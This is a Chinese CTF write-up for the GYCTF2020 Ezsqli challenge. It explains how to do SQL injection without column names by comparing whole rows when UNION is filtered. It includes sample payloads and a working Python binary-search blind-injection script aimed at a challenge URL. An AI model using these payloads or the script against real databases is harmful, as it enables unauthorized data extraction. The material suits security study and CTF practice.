ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

无列名注入_2 [GYCTF2020]Ezsqli 1

2022-01-28 02:34:03  阅读:270  来源: 互联网

标签:account 列名 GYCTF2020 mid flag low Ezsqli payload select


无列名注入_2

在之前,我们使用了select `1` from (select 1,2 union select * from tableX)a这样一个形式来进行无列名注入,原理可以看我之前写的(抄的)一篇https://www.cnblogs.com/AikN/p/15725756.html
在这个形式被过滤了以后,我们还可以使用另一种方式尝试注入。

基本原理

其实也很简单


sql查询语句 返回结果
(select "b") > (select "a") 1
(select "abce") > (select "abcd") 1
(select "aacd") > (select "abcd") 1
(select "a") > (select "baaa") 1

即如果使用sql语句进行大小比较,会逐位比较,出现不一样的字母时即返回结果。

具体使用中,如有下表account

username passwd
Aiknr hhhaaa
Botm YouWontKnow!

我们不知道列名是什么,输入中又过滤了如union的参数,就需要用到这种无列名注入的姿势。
我们只需要逐个位数试就行了
使用payload

(select 1,"a") > (select * from account) -> 0
(select 1,"b") > (select * from account) -> 0
(select 1,"c") > (select * from account) -> 0
...
(select 1,"i") > (select * from account) -> 1

当尝试到“i”的时候,返回正确,因为“i”是第一个超过“h”的字母,即Aiknr账户的密码第一位。这个时候我们就知道了Aiknr账户第一位为“h”
随后,我们把结果拼到payload里,进行下一位的尝试

(select 1,"ha") > (select * from account) -> 0
(select 1,"hb") > (select * from account) -> 0
(select 1,"hc") > (select * from account) -> 0
...
(select 1,"hi") > (select * from account) -> 1

然后,我们就知道密码第二位为"h"了。随后用同样的方法即可以得到全部的密码
这里因为account表有两位,我们想比较的在第二个位置,所以在第二个位置放payload。至于为什么第一个位置放置1,我用题目实验后,发现数字是大于所有字母的,具体可能和php的比较机制有关,不太了解。

题目的脚本借鉴了网上的,发现大伙都是用的遍历,太慢了,还是推荐大家用二分法,平均尝试5-6次就可以得到一位结果。遍历就起飞了,ascii码是几就要遍历几次得到一位。

import requests
url = 'http://3347a09e-7c1e-41c1-b53f-c57dee0bc5c6.node4.buuoj.cn:81/index.php'
MaxLen = 250
flag = ''
for i in range(1,MaxLen):
    low = 32
    high = 128
    mid = (low + high) // 2
    while(low < high):
        hexchar = flag + chr(mid)
        payload = '0^((select 1,"%s")>(select * from f1ag_1s_h3r3_hhhhh))'%(hexchar)
        # print(payload)
        data = {'id':payload}
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) // 2
    if(mid == 32 or mid == 127):
        break
    flag += chr(mid - 1)
    print(flag) 

最终得到flag
image
看着怪怪的,交上去也不对,不知道为啥。反正我应该算是做出来了(orz

标签:account,列名,GYCTF2020,mid,flag,low,Ezsqli,payload,select
来源: https://www.cnblogs.com/AikN/p/15851745.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有